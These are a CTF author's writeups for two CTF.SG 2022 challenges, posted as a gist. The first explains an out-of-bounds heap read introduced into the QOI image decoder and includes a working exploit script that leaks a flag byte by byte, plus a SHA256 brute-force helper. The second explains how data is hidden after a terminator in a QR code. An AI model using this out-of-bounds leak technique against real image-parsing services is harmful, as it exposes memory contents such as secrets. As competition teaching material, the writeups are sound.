Skip to content

Instantly share code, notes, and snippets.

@lordidiot
Created March 13, 2022 03:55
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save lordidiot/bd3c35ff01c45cd270cbacb23b5ca630 to your computer and use it in GitHub Desktop.
Save lordidiot/bd3c35ff01c45cd270cbacb23b5ca630 to your computer and use it in GitHub Desktop.
CTF.SG CTF 2022 Writeups

IC, Please [Author Writeup]

Challenge Motivations

This challenge was inspired by the series of clone-and-pwn challenges I saw in Real World CTF. It's quite a cool category where they just spin up a random github repository and ask you to find bugs in it. It feels quite "realistic" compared to the usual CTF challenges and gives a different kind of satisfaction when solving.

Brief Overview

The challenge presents you with some source code and a link to a version of QOI.

If you inspect the version I linked, you'll notice that its most recent commit is "secoority". Sounds pretty stupid and the commit actually introduces a security bug.

Specifically, the qoi_decode function is now able to go read OOB.

void *qoi_decode(const void *data, int size, qoi_desc *desc, int channels) {
    ...
    desc->width = qoi_read_32(bytes, &p);
	desc->height = qoi_read_32(bytes, &p);
	desc->channels = bytes[p++];
	...
	px_len = desc->width * desc->height * channels;
	pixels = (unsigned char *) QOI_MALLOC(px_len);
	...
	chunks_len = size - (int)sizeof(qoi_padding);
	for (px_pos = 0; px_pos < px_len; px_pos += channels) {
		if (run > 0) {
			run--;
		}
		else { // Used to be `else if (p < chunks_len)`
			int b1 = bytes[p++]; // p can be large and go out of bounds
                                 // just control the value of px_len
            ...
		}

		if (channels == 4) {
			*(qoi_rgba_t*)(pixels + px_pos) = px;
		}
		else {
			pixels[px_pos + 0] = px.rgba.r;
			pixels[px_pos + 1] = px.rgba.g;
			pixels[px_pos + 2] = px.rgba.b;
		}
	}

	return pixels;
}

If we go back to the challenge code, we can see that main does the following general steps (read the comments)

int main(){
    setvbuf(stdout, NULL, _IONBF, 0);

    qoi_desc desc;
    print_instructions();

    // [1] Read QOI image from user
    char *image_data = read_image();
    // [2] Read flag and "face hash" into heap
    load_credentials();
    // [3] Parse QOI image into pixel data using `qoi_decode`
    char *pixels = parse_image(image_data, &desc);

    unsigned int size = desc.width * desc.height * desc.channels;
    // [4] If pixel data SHA256 == "face hash", give flag
    if (!verify_credentials(pixels, size)) {
        printf("Welcome back, MAJ Ho\nHere is your secret: %s\n", creds->secret);
    }
    else {
        printf("Invalid User: ");
        for(int i = 0; i < 32; i++){
            printf("%02x", creds->user_hash[i]);
        }
        puts("");
    }

    free(pixels);
}

Important note here is that we are parsing user data using qoi_decode, the function with the OOB read! If qoi_decode reads out of bound in the heap, what other data will it read into? "Fortunately", the OOB read will actually oob into the rest of the heap, which "coincidentally" has the flag data. Therefore, if we trigger the OOB read, the flag data will be interpreted as bytes of a qoi image and be decoded into pixel data.

Later on that pixel data is hashed with SHA256 and the user is told the SHA256 hash. The idea is then to perform an OOB read of 1 pixel first, followed by 2 pixels, 3 pixels, etc. Each time you OOB by one pixel, you can bruteforce the 256 possible bytes that could have been included in the QOI decoding routine to figure out what byte was leaked.

With these primitives we can then leak the flag!

Exploit Script

With this script you can leak out one byte at a time.

def generate_payload():
    """
    qoi_header {
        char magic[4];      // magic bytes "qoif"
        uint32_t width;     // image width in pixels (BE)
        uint32_t height;    // image height in pixels (BE)
        uint8_t channels;   // 3 = RGB, 4 = RGBA
        uint8_t colorspace; // 0 = sRGB with linear alpha
                            // 1 = all channels linear
    };
    """
    width = 1
    height = 1+30+int(sys.argv[-1])
    channels = 3
    data = ""
    data+= "qoif"
    data+= p32(width)
    data+= p32(height)
    data+= p8(channels)
    data+= p8(0)

    """
    data bytes
    """
    # QOI_OP_RGB
    data+= p8(0b11111110)
    data+= p8(0xaa)+p8(0xbb)+p8(0xcc)

    # END MARKER
    data+= p8(0)*7+p8(1)
    return data

def exploit(r):
    context.endian = 'big'
    """
    with open("qoi_test_images/qoi_logo.qoi") as f:
        data = f.read()
        sz = len(data)
    """

    data = generate_payload()
    sz = len(data)

    r.sendlineafter("QOI image size: ", str(sz))
    r.sendafter("QOI image data: \n", data)
    print(r.recvline())
    r.close()
    return

Then you can use this follow-up script to determine from the resulting SHA256 hash to figure out the byte that has been leaked.

import sys
import hashlib

a = "aabbcc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001feff000000000000000000000000000000000000000000"
a += 'fefe01' # C
a += 'fdfdff' # T
a += 'fbfcff' # F
a += 'fafa00' # S
a += 'f8f901' # G
a += 'f9f902' # {
a += 'f7f702' # B
a += 'f8f601' # u
a += 'f9f600' # y
a += 'f8f701' # _
a += 'f6f800' # M
a += 'f6f7ff' # e
a += 'f5f800' # _
a += 'f4f6ff' # Q
a += 'f4f700' # o
a += 'f4f7ff' # i
a += 'f3f800' # _
a += 'f1f600' # B

c = sys.argv[1]
a = a.decode("hex")
for i in range(-2, 2):
    for j in range(-2, 2):
        for k in range(-2, 2):
            s = a
            x = a[-3:]
            s += chr((ord(x[0])+i+0x100)%256)
            s += chr((ord(x[1])+j+0x100)%256)
            s += chr((ord(x[2])+k+0x100)%256)
            n = 0b01
            n = n << 2
            n+= i + 2
            n = n << 2
            n+= j + 2
            n = n << 2
            n+= k + 2
            h = hashlib.sha256(s).hexdigest()
            if h == c:
                print(chr(n), s[-3:].encode("hex"), hashlib.sha256(s).hexdigest())
                exit()

Conclusion

Little bit sad that there was only one solve. But I guess there weren't many attempts because the code looks kinda scary. I hope in future the "large" amount of code won't be seen as something daunting. I think such challenges can present quite an interesting type of challenge because you can get some of the "realistic" pwning satisfaction by pwning a codebase larger than your usual CTF heap menu style.

CTFSG{Buy_Me_Qoi_Bubble_Tea}

Insanity Check-in [Author Writeup]

Challenge Motivations

This challenge was created as a fun joke on the usual check-in/sanity check style challenges. Since we've been doing SafeEntry check-ins to enter venues, we should have them for CTFs too! So I just went around to find a way I can hide a flag in a SafeEntry QR code.

Brief Overview

The challenge presents you with just a single image.

Challenge Image

The warnings were there so that participants don't end up trying to hack Govtech's servers (then we're in big trouble uh-oh). If you scan the QR code with a usual QR scanner, you'll get the following data

https://temperaturepass.ndi-api.gov.sg/login/WH3R3-FL4G

I had hoped this was obvious to players that this is not the flag, but I guess the leetspeak made it kinda look like a flag so some participants tried to submit this XD. Anyways, we can seee that the QR code doesn't have the flag, so where could it be ??

If you do some googling and find methods to hide data in a QR code, you'll likely stumble upon this post. If we look at Method 2 in the post above, you can see that adding a pre-mature terminator chunk in a QR code data will make most common QR code scanners stop reading further data from the QR code, even if more data follows the terminator chunk. One way you could detect that the QR code has more data than expected is if you tried to generate a QR code with the payload you got from your QR scanner.

You'll notice that if you took the link from above and generated your own QR, the QR code would actually be smaller (less data) than the one in the challenge. This indicates to you that something is not being read by your QR scanner.

Trying a more robust QR scanner like zxing.org would yield some of that extra data. Then you can try to parse it manually to get the flag!

Solution

Thanks @JuliaPoo, @JustinOng for this

Just offset the hex data zxing.org provides you in CyberChef, and you can see the flag appear in front of your eyes!

CyberChef Solution

CTFSG{Ch3cked1n!}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment